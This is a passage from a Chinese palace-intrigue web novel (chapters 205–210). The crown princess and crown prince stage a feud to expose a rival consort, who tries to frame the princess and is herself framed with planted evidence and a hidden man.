此话一出,魏娴没有生机的眸子一轮,视线落在云清婳的脸上。 “殿下,皇后娘娘,臣妾知道自己怀孕了!臣妾一直在服用安胎药!怀孕之事臣妾跟太子妃说过。”魏娴的声音都在颤抖。 苏灵音惊讶地捂着嘴,“啊?这……” 裴墨染自然一清二楚,不仅蛮蛮知道,他也知道。 “查。”裴墨染沉声道。 他想看看,这些女人究竟想耍什么花招。 “是!”贴身太监带人搜查。 云清婳叹了口气,“臣妾的确知道。” 皇后露出势在必得的笑,就像是抓住了云清婳的把柄。 “太子妃平日善妒也就罢了,若是担上谋害皇嗣的罪名,可是要掉脑袋的。” 云清婳不卑不亢道:“皇后娘娘怎能凭空污人清白?臣妾跟阿娴情同姐妹,怎会害她?” 皇后冷笑,像是看透了她,“最好不是你。” 只过了半柱香的功夫,万嬷嬷便跌跌撞撞地小跑过来,她的额头上满是汗珠。 “老奴……查到了。”她的声音很低。 “谁干的?”裴墨染负着双手,眼神发狠。 众人也走到屏风前等待答案。 万嬷嬷吞吞吐吐,“老奴在王妃的盆栽里发现了堕胎药渣,跟落霞斋的药渣相同。” 苏灵音意料之中。 她们在玄音阁安插的人派上了用场! 云清婳似乎被吓到,她瘫坐在地上,看向裴墨染,“臣妾冤枉,臣妾根本没碰过什么堕胎药。” 裴墨染心中暴怒。 苏灵音真是厉害,把手都伸进玄音阁了! “莫非是因为魏侧妃有嫌疑害了皇孙,所以太子妃才想报复?”苏灵音像在自言自语,喃喃道。 “太子妃,你怎么可以这样对我?我真的不曾害过皇孙啊!你怎能如此狠心,害死我的孩子?”魏娴崩溃地哭喊。 第206章 云清婳又来表演了! 云清婳摇头,她梨花带雨地哭了,“阿娴,我们被算计了,我没有害你!这堕胎药我真的不知从何而来!” 皇后压住嘴角的笑,斥道:“你挑拨离间本宫跟太子的感情也不是一次两次了,今日你总算暴露了本性,墨染,本宫这就带她进宫,让你父皇处置她!” “不!”裴墨染站在云清婳身前,“她是本宫的太子妃,要处置也该由本宫处置!” “证据就摆在眼前,墨染,你难道还看不清这个毒妇?”皇后指着云清婳。 苏灵音有些失落。 不过她也能理解裴墨染,毕竟他跟云清婳育有一对儿女,毕竟云清婳背后靠着云家。 为了拉拢云家,牺牲一个妾室的孩子也不算什么。 “殿下,我冤枉!我自己也有孩子,我怎会忍心对孩子下手?那堕胎药是别人栽赃给我的!”云清婳扯着他的衣摆,像是抓住了救命稻草,看起来很狼狈。 皇后、苏灵音眼中流露出胜利者的喜悦。 “墨染!人证物证俱在,岂能偏私?你不以儆效尤,东宫难宁啊!”皇后义正言辞地说着。 苏灵音哭道:“太子妃,您糊涂啊!你已经有孩子了,为何还不让魏侧妃得子?您不为旁人考虑,也要为殿下考虑啊!” “我没有!”云清婳满是委屈。 裴墨染的眼中翻涌着汹潮,眼神尖锐。 就在这时,贴身太监来了。 “殿下,奴才在清心阁也发现了药渣。”他挺胸昂首,像是立了一等功。 裴墨染眉眼舒展了一分,心中的紧张荡然无存,怀疑的视线落在苏灵音身上。 苏灵音、皇后一派惊慌。 “妾身冤枉啊!”苏灵音扑通一声跪地,嘤嘤嘤地哭起来,像是受惊的孩子。 皇后长袖一挥,信誓旦旦道:“此事必不是灵音干的!” 云清婳牵起唇角,讽刺道:“皇后娘娘,如今臣妾与苏侧妃人赃俱获,不如我们随您进宫吧!” 皇后一噎,她当众被落面子,有些恼羞成怒。 “你也配跟灵音相提并论!?灵音生性单纯,善良无暇,岂会谋害皇嗣?” “臣妾也问心无愧,既然如此,我们就随您走一趟吧!”云清婳似笑非笑,挑衅意味十足。 “你、你……”皇后自然不舍得让侄女趟浑水,她气得一口老血差点喷出来。 苏灵音后槽牙磨得咯吱咯吱响,恨恨看着云清婳。 为什么云清婳好像知道她的每一步计划? 药渣是什么时候进入清心阁的? 云清婳抓着裴墨染的衣摆,趁机掐了把他的腿。 他的身子一僵,电光火石间他想到了什么。 “此事尚未水落石出,将太子妃、苏侧妃送回寝殿,没有传召不可出来。”裴墨染摆摆手。 皇后尽管不愿,但苏灵音牵扯其中,她也不好再说什么。 苏灵音的眸子湿漉漉地看着裴墨染,鼻尖泛红,脸上带着倔强,“殿下,前些日子,妾身被禁足了。妾身怎么可能给魏侧妃下堕胎药?妾身冤枉!” 裴墨染的眼底写满了不忍,他在她耳边道:“本宫知道。” 苏灵音的心尖一颤。 也就是说裴墨染相信她了? 在她跟云清婳之中,他选择了她? 飞霜将云清婳扶起来,云清婳抓住裴墨染的手,“殿下是要罚我禁足吗?此事与我无关,我不答应!一定是苏灵音干的,自从她嫁进府邸,就一直离间你我!” “够了!”裴墨染低吼,他的眼中扬起了红烟,“太子妃,你怎么愈发善妒小气了?你曾经不是这样的!” 云清婳的瞳孔地震,她似乎不认识眼前人了,“善妒小气?殿下,您怎能这般严重地指责我?我为您生了两个孩子啊!” “生了两个孩子又如何?你嫁给谁不生孩子?少拿生孩子辖制墨染,能给墨染生孩子,是你的荣幸。”皇后立即帮腔,一脸刻薄。 这话让在场的婢女、嬷嬷听了,心里都不是滋味。 皇后娘娘是母仪天下之人,同为女子,她怎能说出如此刻薄的话? “私下灵音总是自责,她一直说你的好话,劝本宫好好待你!可你呢?你人前人后不停地诋毁灵音,不停地泼脏水!”裴墨染平静地说着,但话里话外透着火药味。 云清婳凄凄地笑了,眼中噙着泪,最后汇聚成一大滴滑出眼眶,“呵,您不信我?觉得是我害死了阿娴的孩子?” 裴墨染的心跳加速,他觉得蛮蛮哭起来也很好看,小脸、鼻尖都是红的,小嘴叽里咕噜不知道在说什么。 让他想亲。 “不然呢?魏娴怀孕的事,只告诉过你。”他的声音一沉。 云清婳杏眸瞪得浑圆,眼神坦荡而凌冽,她一字一顿:“不是我!我不会认!” “你就是仗着没有证据,所以得寸进尺、卖乖造作!”他的表情带着讽刺,一副高高在上的模样。 苏灵音忍住笑意。 皇后的心总算放回到了肚子里。 只要墨染心中认定是云清婳做的,对她失望、厌恶就够了。 看来,墨染已经对灵音心动了。 “墨染已经护着你了,你的肚子也要争气啊。”皇后轻拍苏灵音的肩膀,低声道。 倘若墨染肯听话,太子之位倒是可以让他坐下去。 将来灵音被立为太子妃,他们苏家就又能出一个皇后了! “是。”苏灵音垂下眼睫,面露娇羞。 她的舌尖似乎都尝到了蜜糖一般的甜味。 不单单是因为裴墨染的偏爱,更是因为她似乎看到了自己将来身穿凤袍,母仪天下的画面。 裴墨染愤怒的低吼:“太子妃,既然你执迷不悟,本宫就让你清醒清醒!将太子妃禁足,没有本宫的命令,闲杂人等皆不许进入玄音阁!” “您这跟宣判我是凶手有什么区别?您不能这样对我!您不为我考虑,也得为孩子考虑,孩子的亲生母亲怎能是杀人凶手?今日是孩子的周岁宴啊,呜呜……”云清婳挤出眼泪,抓着他的手。 皇后的脸上罩着一层阴云,她正欲开口,裴墨染便道:“本宫已经够给孩子面子了,你退下!” 云清婳死皮赖脸地抱着他的胳膊,痛彻心扉地哭喊:“不!您还记得我们的山盟海誓吗?您不能这样对我!” “???” 裴墨染有点无语。 戏过了! 他有点迷茫,一时之间不知道说什么。 “……” 云清婳急坏了,狗男人怎么不演了? 现在是迷惑皇后跟苏灵音最好的机会啊! 她做出口型:推我! 裴墨染看出她在说什么,眉头紧了紧,他可不敢推她。 她这么羸弱,倘若他不小心伤了她怎么办? 说不定到时候,她又会打他脸。 “别碰本宫!”他不敢用力,只是将她的手从胳膊拿下来。 云清婳见他不配合,她也不在乎。 好的演员是能够自主表演的! 她顺势一倒,摔在地上,还打了一个滚。 “嘶……好疼……”云清婳的小脸皱着,痛苦地扶着后腰,“殿下,您怎能对我动手?” 裴墨染:??? 第207章 戏瘾犯了 裴墨染的心中涌上了心疼。 在场的下人倒吸了口凉气。 贴身太监埋怨地悄悄瞥向裴墨染。 就算是演戏,也不能下这么重的手啊。 “这么多双眼睛都看着呢,吾儿可没有推你!是你自己不中用,没站稳!你怎敢污蔑败坏太子的贤明?”皇后话中的幸灾乐祸都快溢出来。 “……”云清婳抿着唇,不甘、埋怨地看向皇后。 苏灵音的眼中闪过报复的快感。 她低头看着自己尖锐的指甲,心中涌上了恶意。 “太子妃,您没事吧?”她快步走上前,作势要扶云清婳。 裴墨染立即抓住苏灵音的胳膊,他呵斥:“不许碰她!” 云清婳的头皮发麻,心脏漏跳了一拍。 狗男人别暴露了! “???”苏灵音疑惑、委屈地看着他。 裴墨染的表情变得柔软,轻声道:“当心她伤了你。” 苏灵音委屈的表情,瞬间化为了笑意跟感动。 云清婳的发髻都散了,一缕发丝坠在额前,显得有些狼狈。 她从地上爬起来,哽咽道:“飞霜,我们走。” “是。”飞霜心疼地扶着云清婳离开。 看着主仆二人狼狈的身影,皇后嘴角斜提,久违的轻松感充斥着四肢百骸。 她喜欢掌握一切的感觉! “墨染,母后就知道你是嘴硬心软,你愿意原谅母后对吗?”皇后期待地问。 裴墨染不语。 “灵音,回寝殿吧,毕竟此事尚未水落石出,本宫不能偏私。”他的桃花眼晦暗,让人看不懂。 “是。”苏灵音乖巧地点头。 她知道,裴墨染已经相信她了,但是为了公正,不得不一碗水端平。 …… 啪—— 清心阁传出清脆的巴掌声。 苏灵音扬起手狠狠甩了巧慧一巴掌。 “啊……”巧慧猝不及防的摔倒在地,嘴角流出了一串血珠。 “是不是你背叛了我?”苏灵音的眼睛微眯,射出阴鸷,“为何我的每一个计划,云清婳都好像事先知道?除了你,旁人谁能泄露机密?” 巧慧捂着脸,惊恐地看着她,“主子,奴婢十岁就到苏家伺候了啊!奴婢是个孤儿,无牵无挂,背叛您,奴婢能得到什么?” “你说的最好是真的!”经过这么多事,苏灵音不敢不谨慎。 “主子,奴婢办事不力!可云清婳那贱人也没讨着好啊,奴婢对您忠心耿耿啊。”巧慧含泪,卑微的抓着她的裙摆。 苏灵音的眼眸滴溜溜一转,她扑哧笑了,“是啊!裴墨染嘴上不承认,可分明已经爱上我了。” “方才你看见了吗?我想去扶云清婳,可裴墨染慌忙拉住我,生怕她伤害我。” 说着,她的脸蛋泛出薄薄的粉。 这是娇羞的表现。 巧慧咬着牙,又气又恨。 自恋的蠢货! 太子明明是怕你伤害太子妃! “奴婢看见了,太子对您动心了,方才他就差把云清婳是凶手说出来了。若不是皇孙不能有品行不端的生母,他早就收拾云清婳了。”巧慧谄媚道。 苏灵音的笑容消退,“生孩子多疼啊?皇孙,我也可以养!至于云清婳,去死吧!” 她暗中找大夫看过了,大夫说她寝殿里的吃食、香薰、摆件都没有问题。 但她却总是怀不上。 所以她得另做打算。 七星连珠夜生的双胎,若是认她当娘,何尝不是一份保障? “巧慧,你明晚……”她附在巧慧耳边道。 巧慧的瞳仁倒映出了诧异与惊惶。 …… 玄音阁的大门被上了锁。 四下忽地冷清下来,寂静无声。 云清婳一回寝殿便拆了发髻,沐浴更衣。 方才戏瘾发作,演了一大出戏,累出一身的汗! 她去净室沐浴后,穿着白绸亵衣倒在床榻上。 “我的信可交给裴云澈了?”她捏着鼻梁,疲惫地问。 飞霜颔首,她疑惑地问:“不过想必方才的事,他已经知道了,何必写信呢?” “他心心念念的太子之位、母后都被自己瞧不起的裴墨染抢走了,心爱的女人也正在遭受虐待,这么多打击叠加在一起,他怎能冷静?他一定会有所行动!”云清婳的眼角上翘,笑容轻蔑。 飞霜眼前一亮,“妙啊!裴云澈这般小心眼的人,恐怕杀了裴墨染的心都有了。” 云清婳叹了口气,“只可惜,裴墨染对裴云澈没有起杀心。” 还得她亲自动手。 正想着,门忽的被打开。 裴墨染大步朝她走来,满脸担忧,“蛮蛮。” “夫君怎么这么快就来了?若是被苏灵音发现端倪怎么办?”她的眉头紧锁,担忧地往外望。 他二话不说,只是沉着脸,摩挲着她的肩膀、胳膊、腰、屁股以及腿。 云清婳双颊绯红,她羞赧地蹬腿踹他,“你干什么啊?” “你方才摔在地上,受伤了吗?我看看。”他掀开她空荡荡的亵裤,露出一对纤细白嫩的腿。 她在他腹上乱踹,娇羞道:“夫君,我没事!你别这样……” 他捏着她肉绵绵的脚,检查了半晌,确定没事后才不舍地放下。 蛮蛮的脚也好漂亮。 “你又没推我,我自己摔倒的,你又不是不知道。”她没心没肺地说。 裴墨染扶着她的肩膀,凝视她的眼睛,“蛮蛮,答应我,日后不能为了我伤害自己。你才出月子,身子虚弱,你若是落下病根,我会恨自己一辈子。” 她才不是为了他,只是单纯的戏瘾犯了。 云清婳露出苦涩的表情,她缓缓颔首,苦中作乐般地说:“夫君,那我的演技好吗?” 他努力挤了好几次笑,可却怎么都笑不出来。 他故作轻松,玩笑道:“不好!日后少看点话本子,你方才的话真是腻歪。” “哼!”她在他的大腿上踹了一脚,扯上薄衾,背过身去。 裴墨染脱掉皂靴,躺在她身后,搂着她的腰,“真生气了?你跟魏娴是怎么回事?嗯?” 不愧是男主,还是有点脑子的。 她并不打算隐瞒,“自从阿娴上次被禁足,我们就猜到早晚会有人对她腹中的胎儿下手,于是我们将计就计,她的一举一动,我们都看在眼里。” “你的意思是……魏娴没有流产?”裴墨染的眼中露出惊喜。 云清婳颔首,“只有千日做贼的,没有千日防贼的。与其遮遮掩掩,还不如让苏灵音以为奸计得逞,掉以轻心。顺便还可以借此事,让皇后、苏灵音误以为你厌弃了我。” “你为何不跟我说?”他脸上的笑意淡去,凝着剑眉。 他不喜欢蛮蛮有事瞒着他,更何况是这种大事? 他隐隐有种被算计、戏弄的感觉,更难过她跟魏娴有了秘密,却把他排除在外。 云清婳转过身,看着裴墨染郁闷、阴沉的脸色,她完全洞悉他的想法。 上位者是不能接受被欺骗的。 但她既然敢认,就不怕他生气。 毕竟他失而复得了一个皇嗣,这个惊喜会冲刷、抵消掉他的一部分的怨气。 “不骗过你,怎么骗过苏灵音跟皇后?更何况夫君并不完全信任阿娴。”她解释。 裴墨染的剑眉紧锁,他不喜欢把事情憋在心里,于是和盘托出,“蛮蛮,日后不要瞒我,我们是夫妻,你这样,就好像在防备我,把我当外人。” 就是防备你! 如何呢?又能怎? 第208章 好险,他差点脏了 云清婳戏谑地睨他,“夫君现在体会到被算计的感觉了?上次您下狱,我比你难受千倍万倍!” 他根本无法反驳。 板子只有打在自己身上最疼。 他现在才知道自己对蛮蛮的伤害有多大。 “蛮蛮,我们的赌约,我输了,你想要什么?”他存了补偿的心思,眸中闪着星星点点的光,“你想要什么都可以!” 哪怕蛮蛮说立承基为世子也可以! 他立马进宫! “我没什么想要的。”她的声音疲惫。 她当然知道裴墨染想要她说立世子的事情。 但她就是不说! 立世子的事情,得裴墨染亲自提起。 否则到时候他变心了,他想起这件事,反而会觉得她爱慕名利、心思不纯。 裴墨染愈发愧疚。 蛮蛮总是这么单纯、淡泊。 “蛮蛮,你再等等,等处理完苏灵音跟苏家,我再也不会让你委屈。”他的吻落在她的额头。 云清婳在心里冷笑。 是啊,后宅的女人自然不会让她委屈。 可是他的亲娘呢? 他能拿皇后怎么样? 二人一阵温存,裴墨染才依依不舍地离开。 为了避人耳目,他是晚上从后门走的。 贴身太监不由得在心里叹气,殿下跟太子妃明明是夫妻。 怎么跟偷情似的? 这一切都怪苏家! …… 人走后,飞霜叹了口气,“主子,巧慧那边好像暴露了,一直没有动静。” 云清婳的眸中散发着寒意,“让她先自保,暂且别跟我们联络了。” 飞霜重重颔首,“线人发现苏灵音方才运了一大车东西进了东宫。” “什么东西?”云清婳的眸中闪过好奇。 飞霜摇摇头,“被布蒙着,奴婢也不知道,但是她神神秘秘的一定有鬼。” “再去探查,倘若东宫查不到蛛丝马迹,就让外面的段南天查。”她的眼底泄出杀气,玩味地笑了。 啧,事情逐渐脱离她的掌控,变得有意思起来了呢。 …… 另一边。 裴墨染去了清心阁。 苏灵音看见了他,眼中盛满了光亮,可仅仅一瞬她就沉了脸,使起了小性子,“殿下不是怀疑妾身吗?还来看妾身?” “你这么聪明,还不知道本宫的心思?”裴墨染坐在桌前倒了杯茶,似笑非笑地看她。 苏灵音可不敢揣度男人的心思,暴露自己的聪明才智。 她从小就明白一个道理,男人为天,女人为地。 女人可以聪明,但是不能比男人聪明。 否则男人会忌惮,甚至会恼羞成怒。 “妾身可不知道,妾身真的是冤枉的。”她掐着嗓子,娇嗔发嗲,声线简直拐了十八个弯。 别说裴墨染,就连贴身太监都鸡皮疙瘩掉了一地。 裴墨染恨不得扭断她的脖子。 什么破嗓子? 发出的是什么鬼动静? 真是一点都不如蛮蛮清新脱俗,可爱自然。 他的语气透着淡淡的伤感,“虽然清心阁跟玄音阁都发现了堕胎药,但本宫怀疑是太子妃做的,毕竟之前你一直被禁足。” “……”苏灵音的心像是被揪住。 她有些失落。 原来裴墨染是理性分析、推理后,才选择相信她的。 并不是无条件地偏爱她。 但这也足够了。 说明在裴墨染心中,云清婳已经被打上了‘恶毒’的烙印。 他接着道:“本宫知道,此事十有八九是太子妃做的,可承基不能有个劣迹斑斑的母亲,所以只能委屈你了。灵音,苦了你了。” 男人的声音富有磁性,很是好听,一对多情的桃花眼愧疚、缱绻地望着她。 苏灵音的心脏在这一刻扑通扑通地乱跳。 她的脸颊发烫,娇羞道:“殿下,妾身明白,为了您,妾身愿意委屈。” “只是,殿下,不给妾身些安慰吗?”苏灵音俏皮地眨眨眼。 裴墨染:“……” 她突然探着脖子,大胆地想要吻裴墨染的唇。 裴墨染不动声色地将她揽进怀中,手大力托着她的后脑勺按在胸口上。 好险! 差点就被她亲到了。 他差点就脏了。 裴墨染一直觉得亲吻很恶心很脏,除了云清婳,他谁都没亲过。 “灵音,赶明儿本宫开私库,你挑些宝贝拿去玩。”他伸出手,安抚性地拍了拍她的肩膀。 苏灵音有些难过,也有些疑惑,为何裴墨染总是不让她亲。 但她回忆起侍寝时,他似乎一直很排斥亲昵接触。 他不喜欢拥抱,不喜欢亲她,甚至不喜欢她摸他…… 思及此,她释怀了。 可能这是镇守边关作战时养成的习惯吧。 “殿下,妾身伺候您吧。”她勾住他的腰带,媚眼如丝。 就差把勾引二字写在脸上。 裴墨染面对眼前人,竟然毫无欲望。 装都不想装了! 就像是才吃完满汉全席,然后又端上来一碗糙米饭。 “灵音,本宫没心情。”他眼神阴郁地推开她。 苏灵音这才后知后觉的想到魏娴才流产! 裴墨染才失去一个孩子,他自然会心情不好。 她连忙认错,楚楚可怜道:“妾身失言了,只是妾身好羡慕太子妃,也想有个孩子。” “不怪你,你心地纯净,本宫知道。”他善解人意。 苏灵音趁机试探:“殿下,其实太子妃只是太在乎皇孙,生怕有人越到皇孙面前,才有了一念之差。不如妾身替太子妃照顾皇孙一段时日,等太子妃心境平和了,再将皇孙送回去?” 裴墨染肚中的怒火腾地升起来。 这是想跟蛮蛮抢孩子了! 苏家可一脉相承啊! 皇后如此,苏灵音亦是如此。 “照顾太子妃的儿女,你倒是兴致勃勃!将来我们的孩子怎么办?”他轻戳她的脑袋,语气宠溺。 苏灵音娇羞地低下了头,“诶呀,讨厌!” “害羞什么?灵音,你不想有本宫跟你的孩子吗?”裴墨染挑眉。 “自然愿意。”她身子好似软若无骨地倒进裴墨染的怀中。 被一打岔,苏灵音顿时被扰乱了心神,抚养皇孙的事情,她暂且抛在一边。 裴墨染的眼中滚动着暗潮。 这个女人,他一点都不想碰。 既然她想要孩子,那他就满足她! 二人和衣而眠。 翌日清晨,裴墨染被拍门声扰醒。 “殿下,殿下,不好了……” 贴身太监在门外惊呼。 他本就没敢睡熟,闻声立即下榻穿衣。 “怎么了?” “太子妃拍门要出玄音阁,还……”贴身太监难以启齿。 裴墨染的眸中闪出光亮,他压抑着嘴角的弧度,声音凉凉的,“还什么?” “还……还说您薄情寡义、偏听偏信……” 苏灵音早就醒了,闻言,她第一反应是疑惑。 因为这不符合云清婳的性格。 可转念一想,云清婳已经被逼到绝境了,她自负高傲,一气之下狗急跳墙也不足为奇。 她忍笑,捂嘴惊讶道:“怎么会这样?太子妃怎么可以对殿下不敬?” “她放肆!”裴墨染重重甩袖,声音染着薄怒,“本宫这就去会会那个泼妇!” 砰—— 门被重重甩上的瞬间,苏灵音扑哧笑了出来。 “呵呵呵呵……”她肆意大笑,“云清婳急了!” 第209章 偷人 玄音阁。 云清婳拍了拍门,她假装哭道:“呜呜呜……殿下,阿娴小产与我无关,我是冤枉的!您怎能妄下定论?” “殿下,放我出去!你这是对云氏一族的侮辱!我云家向来堂堂正正、清白做人,绝不接受无端的诬陷与惩罚!” 她叫嚷了一会儿,喉咙都哑了。 云清婳身后站着三个婢女,一个端着燕窝,一个端着胖大海罗汉果茶,还有一个端着一盘切块蜜瓜。 她喊累了,一转身,飞霜立即给她擦汗,婢女喂她喝茶。 “主子辛苦了。”婢女心疼道。 云清婳咽下茶水,又扎了块蜜瓜吃,“收工了,今天就喊到这里。” 她所做的一切,不过是演戏给苏灵音、裴云澈看。 前者是为了让她掉以轻心,后者是为了激发他的仇恨。 “主子,段南天查到了,苏家昨日带了个年轻男人进城,听说那男人之前是道上的,长相不错,会点拳脚。”飞霜如实禀报。 其他心腹婢女咋舌,叽叽喳喳地推断:“苏灵音莫不是偷人了?” “天啊!住清心阁的女人,怎么都背着殿下跟人苟且啊?” “殿下祖坟的风水,莫不是出了问题?” 云清婳福至心灵,她冷笑:“苏灵音这是想找男人污我清白,然后抢走承基跟辞忧,让我万劫不复。” 飞霜眼底迸发出恨意,“死女人!真恶毒!” 她侧头思忖片刻,她附在飞霜耳边说了什么,然后又道:“把心意姐姐请来,心意姐姐早就想来抱抱孩子了。” “是。”飞霜眼中的幸灾乐祸根本藏不住。 突然,门外传来开锁的声音。 裴墨染气势汹汹地站在门外,板着脸,“太子妃,本宫隔老远就听见你大呼小叫,成何体统?!” 砰—— 他跨进门。 朱门重重阖上的瞬间,他变了脸色,讨好地伸出胳膊搂住云清婳的肩膀。 看见三个婢女手中端的瓜果补品,他促狭道:“太子妃挺会享受啊。” 云清婳从他怀中逃出来,拧着眉头,“别碰我。” 裴墨染看了看身上的衣袍,哑然失笑,他脱掉衣袍,丢给贴身太监,“烧了。” “是。”贴身太监立即照办。 “我现在干净了吧?”他张开双臂想要抱她。 云清婳上下打量他,眼中仍旧透着嫌弃。 飞霜提心吊胆。 主子这是装都不想装了。 “……”裴墨染有点委屈。 蛮蛮的眼神很伤人。 这不该是看爱人的眼神。 他自觉走向净室,“我去沐浴,备好衣物。” 玄音阁一直以来都备有他的便衣。 “主子,殿下好像生气了。您这是演都不想演了?若是惹恼殿下怎么办?”飞霜的心脏快从嗓子眼跳出来。 “无所谓。”云清婳的神色淡漠。 她承认,她飘了。 她现在有孩子傍身,当上了太子妃,攻心也攻了八成。 所以她一点都不想委屈自己,更不想再奴颜婢膝地讨好狗男人了。 少顷,裴墨染换上杏黄色锦袍从净室出来。 云清婳正在用早膳,没有等他。 意外的是,他不仅不恼,反而笑吟吟地坐在她身侧,“蛮蛮,你是不是吃醋了?” “……”云清婳看向飞霜。 看吧。 只要男人心里有你,无论你做什么,他都甘之如饴,甚至自己攻略自己。 “小醋罐子!”他刮了下她的鼻尖,笑容更盛,“我没碰她。” 云清婳不语。 他有些着急,信誓旦旦道:“你不信?我真没碰她,昨晚你都把我榨干了,我无心无力。” 她羞恼道:“住口!裴墨染,你愈发不要脸了,你如今是太子,能不能稳重点?” “我在自家娘子面前要什么脸?我在外面自会稳重,我与你稳重什么?”他混不吝地反驳。 云清婳夹起一块水晶虾饺塞进他的嘴里,堵住他喋喋不休的嘴,“吃吧。” 裴墨染的嘴都快被烫起泡,“你想谋杀亲夫?!” 四下的婢女嗤嗤地笑了。 上朝的时辰快到了,才入主东宫,他不敢懈怠。 尽管昨晚没睡好,他也不得不走,“蛮蛮,你把我叫来,有何事?” 他知道她的性子,她身为第一贵女绝不会无缘无故失仪叫门。 “夫君下朝后,带些花糕回来。”她道。 裴墨染并不觉得幼稚,他颔首:“是我考虑不周,我一定记得。” 蛮蛮被关在玄音阁,难以与外界接触。 委屈她了。 …… 没多会儿,何心意便带着一众京城贵女拜谒。 云清婳被禁足,不能见客,但还是吩咐管家招待。 她看向飞霜,“段南天的人,进府了吗?” “主子放心,那人长得极美,男扮女装神不知鬼不觉地混进来了。”飞霜的嘴角阴恻恻地勾起。 云清婳一脸戏谑:“一定要让他按照我的剧本来演!” 苏灵音找男人嫁祸她,就别怪她以牙还牙,以眼还眼。 …… 东宫的事多多少少传了出去,京中之人早有耳闻。 一众贵女坐在花厅。 何心意的眼中盘旋着精明,她开口:“太子妃德行昭然,与人为善,绝不是那种恶毒之人。” “真相尚未水落石出,太子妃怎能被禁足?这岂不是盖棺定论了?”一个贵女道。 另一人道:“就算见到太子殿下,我也会替太子妃叫屈。” 管家连声叹气,他们也替太子妃叫屈。 太子妃根本不是那种恶毒的人! 可谁让殿下变心了呢? 几人说了会儿话,可云清婳还是没出来。 何心意掐着指头算了下时辰,“晌午快到了,我们不能失了规矩,既然见不到太子妃,我们去拜谒苏侧妃再离府吧。” “好。” 苏灵音不能出清心阁,但可以见客。 何心意带着众姐妹去往清心阁外等候。 苏灵音立即接见。 她坐在主位上,看着下首的贵女,心中舒畅。“各位姐妹,快坐!” 迟早有一天,她会成为太子妃,名正言顺地受所有人跪拜。 “今日本想拜谒太子妃,可谁知出了那种事,多谢苏侧妃款待。”何心意款款一笑。 苏灵音面色惆怅,“但愿能抓住奸人,还太子妃清白。” 咚咚—— 咚咚—— 角落传来奇怪的声音。 几个贵女耳朵轻动,不由得蹙眉,“诶,这是什么声音?” “莫不是……老鼠?” 几个贵女捂着嘴,一脸惊恐、嫌弃,“苏侧妃的寝殿怎么闹起了鼠患?好可怕!” “这里怎么住得下去?苏侧妃还是快快换寝殿吧。” 苏灵音的脸蛋燥热,觉得面上无光,她道:“应该不是老鼠,莫不是进了鸟雀?等会儿我就让太监驱赶。” 咚咚—— 奇怪的声音又响了起来。 “东宫怎会闹耗子?我的丫鬟是个胆大的,不如让她看看吧?”何心意道。 苏灵音不情不愿地点头,“那就有劳了。” 丫鬟蹑手蹑脚地绕过屏风,走到角落一个不起眼的箱子前。 她打开箱子一看,吓得呆住了。 随后传出尖叫,“啊……” “咦,我早说了是耗子,你们还不信。”一个贵女嫌弃地用帕子捂住嘴。 几个胆大的贵女婷婷袅袅地走去角落。 不一会儿,她们也不约而同地尖叫,啊—— “来人啊,来人啊……” 第210章 小狗跟主人 几人脸色惨白,就像看到了怪物,抖着腿跑走了。 何心意轻笑,“耗子成精了?把你们吓成这样!” 苏灵音的头皮发麻,隐隐感觉事情不对。 她绕过屏风,眼珠子都快瞪出来。 “这、这……”何心意的唇瓣都在颤。 大箱子里居然有一个光着上半身的男人。 “我不认识他!我不认识他!我根本不认识他!”苏灵音的眼中滚动着晶莹。 “主人,我可是乖乖听你的话藏起来的,都是她们找到我的。”白面男人一脸委屈。 主人?! 羞与愤几乎要让苏灵音昏厥。 她吓得眼泪噗噗流出来,好像浑身的力气都被抽走了,“你胡说!” 这根本不是她从外面带进来的人! 他一定是云清婳带进来的! 天啊,云清婳究竟是怎么做到的? 为什么一个大男人能混进来? 何心意拔腿就走,一脸嫌弃,“苏侧妃,我可什么都没看见,你快把人……藏起来吧。” “别走啊!我根本不认识他!”苏灵音想要拦住何心意。 这些长舌妇,一定会把事情传出去的。 方才都是京中最擅长嚼舌根的! 何心意才走出大门,险些撞上了一堵肉墙,“啊……太子殿下?” 裴墨染面色铁青,他的双眼幽幽地射向慌乱的何心意,“祝国公夫人,怎么了?” “……”何心意状似惊恐,她的嘴半张着。 方才一路上,他撞见了好几个惊魂不定的贵女。 她们闪烁其词,但他隐隐猜到了什么。 “呜呜呜……”苏灵音小跑出来,她看见裴墨染像是看见了救星,“殿下,殿下……好可怕啊!” 她作势要往裴墨染的怀里扑,可裴墨染膈应地推开她,她重重地摔到地上。 苏灵音知道,裴墨染什么都知道了。 云清婳这个贱人,同为女人,她怎么可以用这么下作的手段污她清白? 她究竟有没有同理心? “呜呜呜……殿下,妾身是冤枉的,有人往妾身的寝殿里藏了男人。”苏灵音哭喊道。 她想着,与其被裴墨染自己发现,不如她主动承认。 …… 转眼,白面男人便被五花大绑丢在花厅。 苏灵音泪流满面地跪在花厅中央。 裴墨染坐在上首,眼神阴鸷地射向他们。 “你是何人?”他问。 白面男人吓得身躯颤抖,他惊慌道:“别杀我,别杀我,别杀我……都是主人逼我的,都是主人非要把我藏起来的呜呜呜……” 主人? 裴墨染胃里翻江倒海,膈应得快吐了。 真恶心! 苏灵音气得快要吐血,“你胡说!我根本不认识你,究竟是何人派你来的?” “主人,我不是你的小狗了吗?在床榻上你可不是这么说的!”白面男人娇滴滴道。 苏灵音恨不得撕了他,她双目通红,“殿下!这狂徒不知廉耻,想要诬赖妾身,求您严查!” 裴墨染的眼中滚动着恨意。 给他戴绿帽子? 苏灵音可真的该死! 居然践踏东宫的颜面! “查!”他冷如冰珠地吐出一个字。 苏灵音忽然想到什么,她的头皮发麻。 清心阁可不能搜查啊。 她慌张道:“殿下,求您严查其他人,这个男人,妾身真的不认识。” “呜呜呜……主人,你怎么不认账了?”男人委屈地掉出金豆子。 苏灵音气得伸出双臂,掐他脖子。“你胡说!” 太监立即把他们分开。 “东宫上下皆会搜查。”裴墨染忍着滔天怒火。 “不,不……”苏灵音含着泪摇头。 他不能搜查清心阁,因为清心阁的确藏着给云清婳准备的男人。 就在这时,耳房传来了尖叫声。 苏灵音的身躯一颤,似乎灵魂都要出窍。 “!!!” 完了,彻底完了…… 她悲戚、委屈、恐惧地看向门外。 心如刀绞。 果然,贴身太监将一个长相姣好的男人押了过来。 贴身太监的眼中闪过幸灾乐祸,“殿下,奴才在耳房发现了此人。” 男人汗涔涔地跪在地上,双目赤红,他仿佛在受凌迟,上首之人的视线如同刀子剐着他的血肉。 裴墨染眼中晕着戾气,冷冷的嘲道:“那他呢?也是旁人陷害你?” 苏灵音绝望地落下泪来,她的心脏猛地抽搐,疼得不行。 